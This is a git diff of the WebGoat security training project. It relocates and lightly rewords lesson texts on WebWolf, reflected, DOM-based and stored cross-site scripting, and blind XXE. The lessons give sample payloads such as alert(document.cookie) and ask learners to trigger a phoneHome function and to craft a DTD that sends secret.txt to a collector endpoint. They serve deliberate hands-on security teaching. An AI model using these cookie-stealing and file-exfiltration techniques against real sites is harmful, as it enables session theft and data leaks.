of the "attackers" role and what was part of the "users" role on the +website. WebWolf supports the following functionality: + +* Hosting a file +* Receiving email +* Landing page for incoming requests diff --git a/webgoat-lessons/webwolf-introduction/src/main/resources/lessonPlans/en/Landing_page.adoc b/src/main/resources/lessons/webwolfintroduction/documentation/Landing_page.adoc similarity index 50% rename from webgoat-lessons/webwolf-introduction/src/main/resources/lessonPlans/en/Landing_page.adoc rename to src/main/resources/lessons/webwolfintroduction/documentation/Landing_page.adoc index 9a4099391..70948deaa 100644 --- a/webgoat-lessons/webwolf-introduction/src/main/resources/lessonPlans/en/Landing_page.adoc +++ b/src/main/resources/lessons/webwolfintroduction/documentation/Landing_page.adoc @@ -1,8 +1,8 @@ == Landing page This page will show all the requests made to '/landing/**'. This means -you can use WebWolf as your landing page for harvesting cookies etc which -is helpful when you perform a XSS lesson. +you can use WebWolf as your landing page for harvesting cookies etc. which +is helpful when you perform an XSS lesson. image::images/requests.png[caption="Figure: ", style="lesson-image"] @@ -10,16 +10,15 @@ image::images/requests.png[caption="Figure: ", style="lesson-image"] {nbsp} {nbsp} -*For this exercise you need to login to WebWolf first.* +*For this exercise, you need to log in to WebWolf first.* {nbsp} {nbsp} -Suppose we tricked a user to click on a link he/she received in an email, this link will open up our crafted +Suppose we tricked a user into clicking on a link he/she received in an email. This link will open up our crafted password reset link page. The user does not notice any differences compared to the normal password reset page of the company. -The user enters a new password and hits enter. The new password will be sent to your host. In this case the new +The user enters a new password and hits enter. The new password will be sent to your host. In this case, the new password will be sent to WebWolf. Try to locate the unique code. -Please be aware that after resetting the password the user will receive an error page. In a real attack scenario the -user would probably see a normal success page (this is due to a limit what we can control with WebWolf) +Please be aware that the user will receive an error page after resetting the password. In a real attack scenario the user would probably see a normal success page (this is due to a limit on what we can control with WebWolf) diff --git a/src/main/resources/lessons/webwolfintroduction/documentation/Receiving_mail.adoc b/src/main/resources/lessons/webwolfintroduction/documentation/Receiving_mail.adoc new file mode 100644 index 000000000..f5f88be35 --- /dev/null +++ b/src/main/resources/lessons/webwolfintroduction/documentation/Receiving_mail.adoc @@ -0,0 +1,18 @@ +== Your mailbox + +WebWolf offers a mail client containing the e-mail sent during a lesson. +This mailbox is user-specific, so each user has a separate mailbox. All e-mail +sent to {user}@.... will end up in this inbox. + +{nbsp} +{nbsp} +{nbsp} + +image::images/mailbox.png[caption="Figure: ", style="lesson-image"] + +{nbsp} +{nbsp} +{nbsp} + +Try it; type in your e-mail address below and check your inbox in +WebWolf. Then type in the unique code from the e-mail in the field below. diff --git a/src/main/resources/lessons/webwolfintroduction/documentation/Uploading_files.adoc b/src/main/resources/lessons/webwolfintroduction/documentation/Uploading_files.adoc new file mode 100644 index 000000000..dae40da76 --- /dev/null +++ b/src/main/resources/lessons/webwolfintroduction/documentation/Uploading_files.adoc @@ -0,0 +1,12 @@ +== Uploading files + +In this section, you can upload files. These files will be available from outside +the application. For example, if you want to reference a DTD that you +reference from an XML in an XXE attack, you can use WebWolf to serve this DTD. + +image::images/files.png[caption="Figure: ", style="lesson-image"] + +{nbsp} + +After uploading a file, you can use the 'Link' to get the full URL to the uploaded +file. diff --git a/webgoat-lessons/webwolf-introduction/src/main/resources/html/WebWolfIntroduction.html b/src/main/resources/lessons/webwolfintroduction/html/WebWolfIntroduction.html similarity index 89% rename from webgoat-lessons/webwolf-introduction/src/main/resources/html/WebWolfIntroduction.html rename to src/main/resources/lessons/webwolfintroduction/html/WebWolfIntroduction.html index 7ce1511de..64784bc2c 100644 --- a/webgoat-lessons/webwolf-introduction/src/main/resources/html/WebWolfIntroduction.html +++ b/src/main/resources/lessons/webwolfintroduction/html/WebWolfIntroduction.html @@ -2,15 +2,15 @@
-
+
-
+
-
+
@@ -66,7 +66,7 @@
-
+
diff --git a/webgoat-lessons/webwolf-introduction/src/main/resources/i18n/WebGoatLabels.properties b/src/main/resources/lessons/webwolfintroduction/i18n/WebGoatLabels.properties similarity index 100% rename from webgoat-lessons/webwolf-introduction/src/main/resources/i18n/WebGoatLabels.properties rename to src/main/resources/lessons/webwolfintroduction/i18n/WebGoatLabels.properties diff --git a/webgoat-lessons/webwolf-introduction/src/main/resources/images/files.png b/src/main/resources/lessons/webwolfintroduction/images/files.png similarity index 100% rename from webgoat-lessons/webwolf-introduction/src/main/resources/images/files.png rename to src/main/resources/lessons/webwolfintroduction/images/files.png diff --git a/webgoat-lessons/webwolf-introduction/src/main/resources/images/mailbox.png b/src/main/resources/lessons/webwolfintroduction/images/mailbox.png similarity index 100% rename from webgoat-lessons/webwolf-introduction/src/main/resources/images/mailbox.png rename to src/main/resources/lessons/webwolfintroduction/images/mailbox.png diff --git a/webgoat-lessons/webwolf-introduction/src/main/resources/images/requests.png b/src/main/resources/lessons/webwolfintroduction/images/requests.png similarity index 100% rename from webgoat-lessons/webwolf-introduction/src/main/resources/images/requests.png rename to src/main/resources/lessons/webwolfintroduction/images/requests.png diff --git a/webgoat-lessons/webwolf-introduction/src/main/resources/images/wolf-enabled.png b/src/main/resources/lessons/webwolfintroduction/images/wolf-enabled.png similarity index 100% rename from webgoat-lessons/webwolf-introduction/src/main/resources/images/wolf-enabled.png rename to src/main/resources/lessons/webwolfintroduction/images/wolf-enabled.png diff --git a/webgoat-lessons/webwolf-introduction/src/main/resources/templates/webwolfPasswordReset.html b/src/main/resources/lessons/webwolfintroduction/templates/webwolfPasswordReset.html similarity index 100% rename from webgoat-lessons/webwolf-introduction/src/main/resources/templates/webwolfPasswordReset.html rename to src/main/resources/lessons/webwolfintroduction/templates/webwolfPasswordReset.html diff --git a/webgoat-lessons/cross-site-scripting/src/main/resources/css/stored-xss.css b/src/main/resources/lessons/xss/css/stored-xss.css similarity index 100% rename from webgoat-lessons/cross-site-scripting/src/main/resources/css/stored-xss.css rename to src/main/resources/lessons/xss/css/stored-xss.css diff --git a/webgoat-lessons/cross-site-scripting/src/main/resources/lessonPlans/en/CrossSiteScriptingMitigation_plan.adoc b/src/main/resources/lessons/xss/documentation/CrossSiteScriptingMitigation_plan.adoc similarity index 81% rename from webgoat-lessons/cross-site-scripting/src/main/resources/lessonPlans/en/CrossSiteScriptingMitigation_plan.adoc rename to src/main/resources/lessons/xss/documentation/CrossSiteScriptingMitigation_plan.adoc index 06b557971..cf4a1d5dd 100644 --- a/webgoat-lessons/cross-site-scripting/src/main/resources/lessonPlans/en/CrossSiteScriptingMitigation_plan.adoc +++ b/src/main/resources/lessons/xss/documentation/CrossSiteScriptingMitigation_plan.adoc @@ -1,7 +1,7 @@ == Concept After learning what Cross-Site Scripting (XSS) is and how it works, -you will know learn how you can defend against it. +you will know to learn how you can defend against it. == Goals diff --git a/src/main/resources/lessons/xss/documentation/CrossSiteScriptingStored_plan.adoc b/src/main/resources/lessons/xss/documentation/CrossSiteScriptingStored_plan.adoc new file mode 100644 index 000000000..69ee15bbe --- /dev/null +++ b/src/main/resources/lessons/xss/documentation/CrossSiteScriptingStored_plan.adoc @@ -0,0 +1,8 @@ +== Concept + +After looking at Reflected XSS in the previous lesson, we are now going to take a closer look at another form of Cross-Site Scripting Attack: Stored XSS. + +== Goals +* The user will learn what Stored XSS is +* The user will demonstrate knowledge on: +** Stored XSS injection diff --git a/src/main/resources/lessons/xss/documentation/CrossSiteScripting_content1.adoc b/src/main/resources/lessons/xss/documentation/CrossSiteScripting_content1.adoc new file mode 100644 index 000000000..074be621a --- /dev/null +++ b/src/main/resources/lessons/xss/documentation/CrossSiteScripting_content1.adoc @@ -0,0 +1,32 @@ +== What is XSS? + +Cross-Site Scripting (also known as XSS) is a vulnerability/flaw that combines the allowance of HTML/script tags as input that renders into a browser without encoding or sanitization. + +=== Cross-Site Scripting (XSS) is the most prevalent and pernicious web application security issue + +While there is a simple well-known defense for this attack, there are still many instances on the web. Coverage of fixes also tends to be a problem in terms of fixing it. We will talk more about the defense in a little bit. + +=== XSS has significant impact + +Especially as 'Rich Internet Applications' are more and more commonplace, privileged function calls linked to via JavaScript may be compromised. +And if not adequately protected, sensitive data (such as your authentication cookies) can be stolen and used for someone else's purpose. + + +==== Quick examples: +* From the JavaScript console in the developer tools of the browser (Chrome, Firefox) ++ +---- +alert("XSS Test"); +alert(document.cookie); +---- +* Any data field returned to the client is potentially injectable ++ +---- + +---- + +== Try It! Using Chrome or Firefox + +* Open a second tab and use the same URL as this page you are currently on (or any URL within this instance of WebGoat). +* On the second tab, open the JavaScript console in the developer tools and type: `alert(document.cookie);`. +* The cookies should be the same on each tab. diff --git a/webgoat-lessons/cross-site-scripting/src/main/resources/lessonPlans/en/CrossSiteScripting_content2.adoc b/src/main/resources/lessons/xss/documentation/CrossSiteScripting_content2.adoc similarity index 56% rename from webgoat-lessons/cross-site-scripting/src/main/resources/lessonPlans/en/CrossSiteScripting_content2.adoc rename to src/main/resources/lessons/xss/documentation/CrossSiteScripting_content2.adoc index 38d9c3d89..45c9e97ad 100644 --- a/webgoat-lessons/cross-site-scripting/src/main/resources/lessonPlans/en/CrossSiteScripting_content2.adoc +++ b/src/main/resources/lessons/xss/documentation/CrossSiteScripting_content2.adoc @@ -4,11 +4,11 @@ * Input fields that echo user data -* Error messages that return user supplied text +* Error messages that return user-supplied text -* Hidden fields that contain user supplied data +* Hidden fields that contain user-supplied data -* Any page that displays user supplied data +* Any page that displays user-supplied data ** Message boards ** Free form comments diff --git a/webgoat-lessons/cross-site-scripting/src/main/resources/lessonPlans/en/CrossSiteScripting_content3.adoc b/src/main/resources/lessons/xss/documentation/CrossSiteScripting_content3.adoc similarity index 100% rename from webgoat-lessons/cross-site-scripting/src/main/resources/lessonPlans/en/CrossSiteScripting_content3.adoc rename to src/main/resources/lessons/xss/documentation/CrossSiteScripting_content3.adoc diff --git a/webgoat-lessons/cross-site-scripting/src/main/resources/lessonPlans/en/CrossSiteScripting_content4.adoc b/src/main/resources/lessons/xss/documentation/CrossSiteScripting_content4.adoc similarity index 55% rename from webgoat-lessons/cross-site-scripting/src/main/resources/lessonPlans/en/CrossSiteScripting_content4.adoc rename to src/main/resources/lessons/xss/documentation/CrossSiteScripting_content4.adoc index 727ffbc8a..4f1f7e377 100644 --- a/webgoat-lessons/cross-site-scripting/src/main/resources/lessonPlans/en/CrossSiteScripting_content4.adoc +++ b/src/main/resources/lessons/xss/documentation/CrossSiteScripting_content4.adoc @@ -4,14 +4,13 @@ * Malicious content from a user request is displayed to the user in a web browser * Malicious content is written into the page after from server response * Social engineering is required -* Runs with browser privileges inherited from user in browser +* Runs with browser privileges inherited from the user in a browser === DOM-based (also technically reflected) -* Malicious content from a user request is used by client-side scripts to write HTML to it own page -* Similar to reflected XSS -* Runs with browser privileges inherited from user in browser +* Client-side scripts use malicious content from a user request to write HTML to its page +* Similar to reflected XSS +* Runs with browser privileges inherited from the user in a browser === Stored or persistent -* Malicious content is stored on the server ( in a database, file system, or other object ) and later displayed to users in a web browser +* Malicious content is stored on the server ( in a database, file system, or other objects) and later displayed to users in a web browser * Social engineering is not required - diff --git a/webgoat-lessons/cross-site-scripting/src/main/resources/lessonPlans/en/CrossSiteScripting_content5.adoc b/src/main/resources/lessons/xss/documentation/CrossSiteScripting_content5.adoc similarity index 69% rename from webgoat-lessons/cross-site-scripting/src/main/resources/lessonPlans/en/CrossSiteScripting_content5.adoc rename to src/main/resources/lessons/xss/documentation/CrossSiteScripting_content5.adoc index 90804bcf5..944375013 100644 --- a/webgoat-lessons/cross-site-scripting/src/main/resources/lessonPlans/en/CrossSiteScripting_content5.adoc +++ b/src/main/resources/lessons/xss/documentation/CrossSiteScripting_content5.adoc @@ -1,7 +1,7 @@ == Reflected XSS scenario -* Attacker sends a malicious URL to victim -* Victim clicks on the link that loads malicious web page +* Attacker sends a malicious URL to the victim +* Victim clicks on the link that loads a malicious web page * The malicious script embedded in the URL executes in the victim’s browser ** The script steals sensitive information, like the session id, and releases it to the attacker diff --git a/webgoat-lessons/cross-site-scripting/src/main/resources/lessonPlans/en/CrossSiteScripting_content5a.adoc b/src/main/resources/lessons/xss/documentation/CrossSiteScripting_content5a.adoc similarity index 68% rename from webgoat-lessons/cross-site-scripting/src/main/resources/lessonPlans/en/CrossSiteScripting_content5a.adoc rename to src/main/resources/lessons/xss/documentation/CrossSiteScripting_content5a.adoc index aaa14f5ca..4b42340d7 100644 --- a/webgoat-lessons/cross-site-scripting/src/main/resources/lessonPlans/en/CrossSiteScripting_content5a.adoc +++ b/src/main/resources/lessons/xss/documentation/CrossSiteScripting_content5a.adoc @@ -1,8 +1,8 @@ == Try It! Reflected XSS -The goal of the assignment is to identify which field is susceptible to XSS. +The assignment's goal is to identify which field is susceptible to XSS. -It is always a good practice to validate all input on the server-side. XSS can occur when unvalidated user input gets used in an HTTP response. +It is always a good practice to validate all input on the server side. XSS can occur when unvalidated user input gets used in an HTTP response. In a reflected XSS attack, an attacker can craft a URL with the attack script and post it to another website, email it, or otherwise get a victim to click on it. -An easy way to find out if a field is vulnerable to an XSS attack is to use the `alert()` or `console.log()` methods. Use one of them to find out which field is vulnerable. \ No newline at end of file +An easy way to find out if a field is vulnerable to an XSS attack is to use the `alert()` or `console.log()` methods. Use one of them to find out which field is vulnerable. diff --git a/webgoat-lessons/cross-site-scripting/src/main/resources/lessonPlans/en/CrossSiteScripting_content5b.adoc b/src/main/resources/lessons/xss/documentation/CrossSiteScripting_content5b.adoc similarity index 69% rename from webgoat-lessons/cross-site-scripting/src/main/resources/lessonPlans/en/CrossSiteScripting_content5b.adoc rename to src/main/resources/lessons/xss/documentation/CrossSiteScripting_content5b.adoc index 5f41ee65b..db2eb1d9d 100644 --- a/webgoat-lessons/cross-site-scripting/src/main/resources/lessonPlans/en/CrossSiteScripting_content5b.adoc +++ b/src/main/resources/lessons/xss/documentation/CrossSiteScripting_content5b.adoc @@ -1,10 +1,10 @@ == Self XSS or reflected XSS? -You should have been able to execute script with the last example. At this point, it would be considered 'self XSS' though. +You should have been able to execute the script with the last example. At this point, it is considered 'self XSS,' though. Why is that? -That is because there is no link that would trigger that XSS. +That is because no link triggers that XSS. You can try it yourself to see what happens ... go to: link:/WebGoat/CrossSiteScripting/attack5a?QTY1=1&QTY2=1&QTY3=1&QTY4=1&field1=4128+3214+0002+1999&field2=111["/WebGoat/CrossSiteScripting/attack5a?QTY1=1&QTY2=1&QTY3=1&QTY4=1&field1=4128+3214+0002+1999&field2=111",window=_blank] diff --git a/src/main/resources/lessons/xss/documentation/CrossSiteScripting_content6.adoc b/src/main/resources/lessons/xss/documentation/CrossSiteScripting_content6.adoc new file mode 100644 index 000000000..825867aec --- /dev/null +++ b/src/main/resources/lessons/xss/documentation/CrossSiteScripting_content6.adoc @@ -0,0 +1,14 @@ +== Reflected and DOM-Based XSS + +DOM-based XSS is another form of reflected XSS. Both are triggered by sending a link with inputs reflected in the browser. +The difference between DOM and 'traditional' reflected XSS is that, with DOM, the payload will never go to the server. The client will only ever process it. + + +* Attacker sends a malicious URL to the victim +* Victim clicks on the link +* That link may load a malicious web page or a web page they use (are logged into?) that has a vulnerable route/handler +* If it's a malicious web page, it may use its own JavaScript to attack another page/URL with a vulnerable route/handler +* The vulnerable page renders the payload and executes an attack in the user's context on that page/site +* Attacker's malicious script may run commands with the privileges of local account + +*Victim does not realize attack occurred* ... Malicious attackers don't use <script>alert('xss')</ script> diff --git a/webgoat-lessons/cross-site-scripting/src/main/resources/lessonPlans/en/CrossSiteScripting_content6a.adoc b/src/main/resources/lessons/xss/documentation/CrossSiteScripting_content6a.adoc similarity index 72% rename from webgoat-lessons/cross-site-scripting/src/main/resources/lessonPlans/en/CrossSiteScripting_content6a.adoc rename to src/main/resources/lessons/xss/documentation/CrossSiteScripting_content6a.adoc index 926abb64d..cdfaf4e17 100644 --- a/webgoat-lessons/cross-site-scripting/src/main/resources/lessonPlans/en/CrossSiteScripting_content6a.adoc +++ b/src/main/resources/lessons/xss/documentation/CrossSiteScripting_content6a.adoc @@ -1,15 +1,15 @@ == Identify potential for DOM-Based XSS DOM-Based XSS can usually be found by looking for the route configurations in the client-side code. -Look for a route that takes inputs that are being "reflected" to the page. +Look for a route that takes inputs that are "reflected" to the page. For this example, you will want to look for some 'test' code in the route handlers (WebGoat uses backbone as its primary JavaScript library). -Sometimes, test code gets left in production (and often times test code is very simple and lacks security or any quality controls!). +Sometimes, test code gets left in production (and often test code is simple and lacks security or quality controls!). -Your objective is to find the route and exploit it. First though ... what is the base route? As an example, look at the URL for this lesson ... +Your objective is to find the route and exploit it. First though, what is the base route? As an example, look at the URL for this lesson ... it should look something like /WebGoat/start.mvc#lesson/CrossSiteScripting.lesson/9. The 'base route' in this case is: *start.mvc#lesson/* The *CrossSiteScripting.lesson/9* after that are parameters that are processed by the JavaScript route handler. So, what is the route for the test code that stayed in the app during production? -To answer this question, you have to check the JavaScript source. \ No newline at end of file +To answer this question, you have to check the JavaScript source. diff --git a/src/main/resources/lessons/xss/documentation/CrossSiteScripting_content6b.adoc b/src/main/resources/lessons/xss/documentation/CrossSiteScripting_content6b.adoc new file mode 100644 index 000000000..425b5d865 --- /dev/null +++ b/src/main/resources/lessons/xss/documentation/CrossSiteScripting_content6b.adoc @@ -0,0 +1,11 @@ +== Try It! DOM-Based XSS + +Some attacks are "blind." Fortunately, you have the server running here, so you can tell if you are successful. +Use the route you just found and see if you can use it to reflect a parameter from the route without encoding to execute an internal function in WebGoat. +The function you want to execute is: + +*webgoat.customjs.phoneHome()* + +Sure, you could use console/debug to trigger it, but you need to trigger it via a URL in a new tab. + +Once you trigger it, a subsequent response will come to your browser's console with a random number. Put that random number below. diff --git a/webgoat-lessons/cross-site-scripting/src/main/resources/lessonPlans/en/CrossSiteScripting_content7-off.adoc b/src/main/resources/lessons/xss/documentation/CrossSiteScripting_content7-off.adoc similarity index 100% rename from webgoat-lessons/cross-site-scripting/src/main/resources/lessonPlans/en/CrossSiteScripting_content7-off.adoc rename to src/main/resources/lessons/xss/documentation/CrossSiteScripting_content7-off.adoc diff --git a/webgoat-lessons/cross-site-scripting/src/main/resources/lessonPlans/en/CrossSiteScripting_content7.adoc b/src/main/resources/lessons/xss/documentation/CrossSiteScripting_content7.adoc similarity index 77% rename from webgoat-lessons/cross-site-scripting/src/main/resources/lessonPlans/en/CrossSiteScripting_content7.adoc rename to src/main/resources/lessons/xss/documentation/CrossSiteScripting_content7.adoc index 0abda67c5..5e2283b64 100644 --- a/webgoat-lessons/cross-site-scripting/src/main/resources/lessonPlans/en/CrossSiteScripting_content7.adoc +++ b/src/main/resources/lessons/xss/documentation/CrossSiteScripting_content7.adoc @@ -1,8 +1,8 @@ == Stored XSS -Stored Cross-Site Scripting is different in that the payload is persisted (stored) as opposed to passed/injected via a link. +Stored Cross-Site Scripting is different in that the payload is persisted (stored) instead of passed/injected via a link. == Stored XSS Scenario -* Attacker posts malicious script to a message board +* Attacker posts malicious script to a message board * Message is stored in a server database * Victim reads the message * The malicious script embedded in the message board post executes in the victim’s browser diff --git a/webgoat-lessons/cross-site-scripting/src/main/resources/lessonPlans/en/CrossSiteScripting_content7b.adoc b/src/main/resources/lessons/xss/documentation/CrossSiteScripting_content7b.adoc similarity index 52% rename from webgoat-lessons/cross-site-scripting/src/main/resources/lessonPlans/en/CrossSiteScripting_content7b.adoc rename to src/main/resources/lessons/xss/documentation/CrossSiteScripting_content7b.adoc index 66141dec2..9177f62fb 100644 --- a/webgoat-lessons/cross-site-scripting/src/main/resources/lessonPlans/en/CrossSiteScripting_content7b.adoc +++ b/src/main/resources/lessons/xss/documentation/CrossSiteScripting_content7b.adoc @@ -2,5 +2,5 @@ See the comments below. Add a comment with a JavaScript payload. Again ... you want to call the _webgoat.customjs.phoneHome_ function. -As an attacker (offensive security), keep in mind that most apps are not going to have such a straight-forwardly named compromise. -Also, you may have to find a way to load your own JavaScript dynamically to fully achieve goals of extracting data. \ No newline at end of file +As an attacker (offensive security), keep in mind that most apps will not have such a straightforwardly named compromise. +Also, you may have to find a way to load your JavaScript dynamically to achieve the goal of extracting data fully. diff --git a/src/main/resources/lessons/xss/documentation/CrossSiteScripting_content7c.adoc b/src/main/resources/lessons/xss/documentation/CrossSiteScripting_content7c.adoc new file mode 100644 index 000000000..2ff962c7b --- /dev/null +++ b/src/main/resources/lessons/xss/documentation/CrossSiteScripting_content7c.adoc @@ -0,0 +1,3 @@ +Watching in your browser's developer tools or your proxy, the output should include a value starting with 'phoneHome Response is ...." +Put that value below to complete this exercise. Note that each subsequent call to the _phoneHome_ method will change that value. +You may need to ensure you have the most recent one. diff --git a/src/main/resources/lessons/xss/documentation/CrossSiteScripting_content8.adoc b/src/main/resources/lessons/xss/documentation/CrossSiteScripting_content8.adoc new file mode 100644 index 000000000..acf83840a --- /dev/null +++ b/src/main/resources/lessons/xss/documentation/CrossSiteScripting_content8.adoc @@ -0,0 +1,27 @@ +== XSS defense + + +=== Why? +Hopefully, we have covered that by now. Bottom line, you do not want someone else's code running in the context of your users and their logged-in session + +=== What to encode? +The basic premise of defending against XSS is *output encoding* any untrusted input to the screen. +That may be changing with more sophisticated attacks, but it is still the best defense we currently have. *AND* ... *context matters* + +Another word on 'untrusted input.' If in doubt, treat everything (even data you populated in your DB as untrusted). +Sometimes data is shared across multiple systems, and what you think is your data may not have been created by you/your team. + +=== When/Where? +Encode *as the data is sent to the browser* (not in your persisted data). In the case of *Single Page Apps (SPA's), you will need to encode +in the client*. Consult your framework/library for details, but some resources will be provided on the next page. + +=== How? + +* Encode as HTML Entities in HTML Body +* Encode as HTML Entities in HTML Attribute +* Encode for JavaScript if outputting user input to JavaScript (but think about that ... you are outputting user input into JavaScript on your page!!) + +*DO NOT* try to blacklist/negative filter on strings like ' -
+
@@ -179,4 +178,4 @@
- \ No newline at end of file + diff --git a/webgoat-lessons/cross-site-scripting/src/main/resources/html/CrossSiteScriptingMitigation.html b/src/main/resources/lessons/xss/html/CrossSiteScriptingMitigation.html similarity index 76% rename from webgoat-lessons/cross-site-scripting/src/main/resources/html/CrossSiteScriptingMitigation.html rename to src/main/resources/lessons/xss/html/CrossSiteScriptingMitigation.html index 2139c7688..6d75d6541 100644 --- a/webgoat-lessons/cross-site-scripting/src/main/resources/html/CrossSiteScriptingMitigation.html +++ b/src/main/resources/lessons/xss/html/CrossSiteScriptingMitigation.html @@ -3,23 +3,23 @@
-
+
-
+
-
+
-
+
-
+
@@ -39,7 +39,7 @@
-
+
@@ -58,4 +58,4 @@
- \ No newline at end of file + diff --git a/webgoat-lessons/cross-site-scripting/src/main/resources/html/CrossSiteScriptingStored.html b/src/main/resources/lessons/xss/html/CrossSiteScriptingStored.html similarity index 82% rename from webgoat-lessons/cross-site-scripting/src/main/resources/html/CrossSiteScriptingStored.html rename to src/main/resources/lessons/xss/html/CrossSiteScriptingStored.html index 1bb9b0a94..4228ba985 100644 --- a/webgoat-lessons/cross-site-scripting/src/main/resources/html/CrossSiteScriptingStored.html +++ b/src/main/resources/lessons/xss/html/CrossSiteScriptingStored.html @@ -3,16 +3,16 @@
-
+
-
+
-
+
@@ -59,7 +59,7 @@
-
+
@@ -76,4 +76,4 @@
- \ No newline at end of file + diff --git a/webgoat-lessons/cross-site-scripting/src/main/resources/i18n/WebGoatLabels.properties b/src/main/resources/lessons/xss/i18n/WebGoatLabels.properties similarity index 97% rename from webgoat-lessons/cross-site-scripting/src/main/resources/i18n/WebGoatLabels.properties rename to src/main/resources/lessons/xss/i18n/WebGoatLabels.properties index 91d3fff5b..81b40e219 100644 --- a/webgoat-lessons/cross-site-scripting/src/main/resources/i18n/WebGoatLabels.properties +++ b/src/main/resources/lessons/xss/i18n/WebGoatLabels.properties @@ -17,7 +17,7 @@ xss-reflected-6a-hint-1=To search through the client side code, use the develope xss-reflected-6a-hint-2=Since you are looking for application code, check the WebGoat/js/goatApp folder for a file that could handle the routes. xss-reflected-6a-hint-3=Make sure you add the base route at the start, when submitting your solution. xss-reflected-6a-hint-4=Still did not find it? Check the GoatRouter.js file. It should be pretty easy to determine. -xss.lesson1.failure=Are you sure? Try using a tab from a different site. +xss.lesson1.failure=The cookies should be the same on both tabs. Ensure that the tabs are from the same site. xss-dom-message-success=Correct, I hope you did not cheat, using the console! xss-dom-message-failure=Incorrect, keep trying. It should be obvious in the log when you are successful. xss-dom-message-hint-1=Open a new tab and navigate to the test-route you just figured out in the previous lesson. diff --git a/webgoat-lessons/sql-injection/src/main/resources/i18n/WebGoatLabels_de.properties b/src/main/resources/lessons/xss/i18n/WebGoatLabels_de.properties similarity index 100% rename from webgoat-lessons/sql-injection/src/main/resources/i18n/WebGoatLabels_de.properties rename to src/main/resources/lessons/xss/i18n/WebGoatLabels_de.properties diff --git a/webgoat-lessons/sql-injection/src/main/resources/i18n/WebGoatLabels_fr.properties b/src/main/resources/lessons/xss/i18n/WebGoatLabels_fr.properties similarity index 100% rename from webgoat-lessons/sql-injection/src/main/resources/i18n/WebGoatLabels_fr.properties rename to src/main/resources/lessons/xss/i18n/WebGoatLabels_fr.properties diff --git a/webgoat-lessons/sql-injection/src/main/resources/i18n/WebGoatLabels_ru.properties b/src/main/resources/lessons/xss/i18n/WebGoatLabels_ru.properties similarity index 100% rename from webgoat-lessons/sql-injection/src/main/resources/i18n/WebGoatLabels_ru.properties rename to src/main/resources/lessons/xss/i18n/WebGoatLabels_ru.properties diff --git a/webgoat-lessons/cross-site-scripting/src/main/resources/images/Reflected-XSS.png b/src/main/resources/lessons/xss/images/Reflected-XSS.png similarity index 100% rename from webgoat-lessons/cross-site-scripting/src/main/resources/images/Reflected-XSS.png rename to src/main/resources/lessons/xss/images/Reflected-XSS.png diff --git a/webgoat-lessons/cross-site-scripting/src/main/resources/images/Stored-XSS.png b/src/main/resources/lessons/xss/images/Stored-XSS.png similarity index 100% rename from webgoat-lessons/cross-site-scripting/src/main/resources/images/Stored-XSS.png rename to src/main/resources/lessons/xss/images/Stored-XSS.png diff --git a/webgoat-lessons/cross-site-scripting/src/main/resources/images/avatar1.png b/src/main/resources/lessons/xss/images/avatar1.png similarity index 100% rename from webgoat-lessons/cross-site-scripting/src/main/resources/images/avatar1.png rename to src/main/resources/lessons/xss/images/avatar1.png diff --git a/webgoat-lessons/cross-site-scripting/src/main/resources/js/assignment3.js b/src/main/resources/lessons/xss/js/assignment3.js similarity index 100% rename from webgoat-lessons/cross-site-scripting/src/main/resources/js/assignment3.js rename to src/main/resources/lessons/xss/js/assignment3.js diff --git a/webgoat-lessons/cross-site-scripting/src/main/resources/js/assignment4.js b/src/main/resources/lessons/xss/js/assignment4.js similarity index 100% rename from webgoat-lessons/cross-site-scripting/src/main/resources/js/assignment4.js rename to src/main/resources/lessons/xss/js/assignment4.js diff --git a/webgoat-lessons/cross-site-scripting/src/main/resources/js/questions_cross_site_scripting.json b/src/main/resources/lessons/xss/js/questions_cross_site_scripting.json similarity index 100% rename from webgoat-lessons/cross-site-scripting/src/main/resources/js/questions_cross_site_scripting.json rename to src/main/resources/lessons/xss/js/questions_cross_site_scripting.json diff --git a/webgoat-lessons/cross-site-scripting/src/main/resources/js/stored-xss.js b/src/main/resources/lessons/xss/js/stored-xss.js similarity index 100% rename from webgoat-lessons/cross-site-scripting/src/main/resources/js/stored-xss.js rename to src/main/resources/lessons/xss/js/stored-xss.js diff --git a/webgoat-lessons/xxe/src/main/resources/css/xxe.css b/src/main/resources/lessons/xxe/css/xxe.css similarity index 100% rename from webgoat-lessons/xxe/src/main/resources/css/xxe.css rename to src/main/resources/lessons/xxe/css/xxe.css diff --git a/webgoat-lessons/xxe/src/main/resources/csv/flights.txt b/src/main/resources/lessons/xxe/csv/flights.txt similarity index 100% rename from webgoat-lessons/xxe/src/main/resources/csv/flights.txt rename to src/main/resources/lessons/xxe/csv/flights.txt diff --git a/webgoat-lessons/xxe/src/main/resources/lessonPlans/en/XXE_blind.adoc b/src/main/resources/lessons/xxe/documentation/XXE_blind.adoc similarity index 100% rename from webgoat-lessons/xxe/src/main/resources/lessonPlans/en/XXE_blind.adoc rename to src/main/resources/lessons/xxe/documentation/XXE_blind.adoc diff --git a/webgoat-lessons/xxe/src/main/resources/lessonPlans/en/XXE_blind_assignment.adoc b/src/main/resources/lessons/xxe/documentation/XXE_blind_assignment.adoc similarity index 55% rename from webgoat-lessons/xxe/src/main/resources/lessonPlans/en/XXE_blind_assignment.adoc rename to src/main/resources/lessons/xxe/documentation/XXE_blind_assignment.adoc index e7d2d112a..ba4c6aded 100644 --- a/webgoat-lessons/xxe/src/main/resources/lessonPlans/en/XXE_blind_assignment.adoc +++ b/src/main/resources/lessons/xxe/documentation/XXE_blind_assignment.adoc @@ -1,16 +1,16 @@ == Blind XXE assignment -In the previous page we showed you how you can ping a server with a XXE attack, in this assignment try to make a DTD which will upload the contents of a file secret.txt from the WebGoat server to our WebWolf server. You can use WebWolf to serve your DTD. The secret.txt is located on the WebGoat server in this location, so you do not need to scan all directories and files: +In the previous page we showed you how you can ping a server with a XXE attack, in this assignment try to make a DTD which will upload the contents of a file `secret.txt` from the WebGoat server to our WebWolf server. You can use WebWolf to serve your DTD. The `secret.txt` is located on the WebGoat server in this location, so you do not need to scan all directories and files: |=== |OS |Location |`operatingSystem:os[]` -|`webGoatTempDir:temppath[]/XXE/secret.txt` +|`webGoatTempDir:temppath[]/XXE/username:user[]/secret.txt` |=== Try to upload this file using WebWolf landing page for example: `webWolfRootLink:landing?text=contents_file[noLink,target=landing]` (NOTE: this endpoint is under your full control) -Once you obtained the contents of the file post it as a new comment on the page and you will solve the lesson. \ No newline at end of file +Once you obtained the contents of the file post it as a new comment on the page, and you will solve the lesson. diff --git a/webgoat-lessons/xxe/src/main/resources/lessonPlans/en/XXE_changing_content_type.adoc b/src/main/resources/lessons/xxe/documentation/XXE_changing_content_type.adoc similarity index 100% rename from 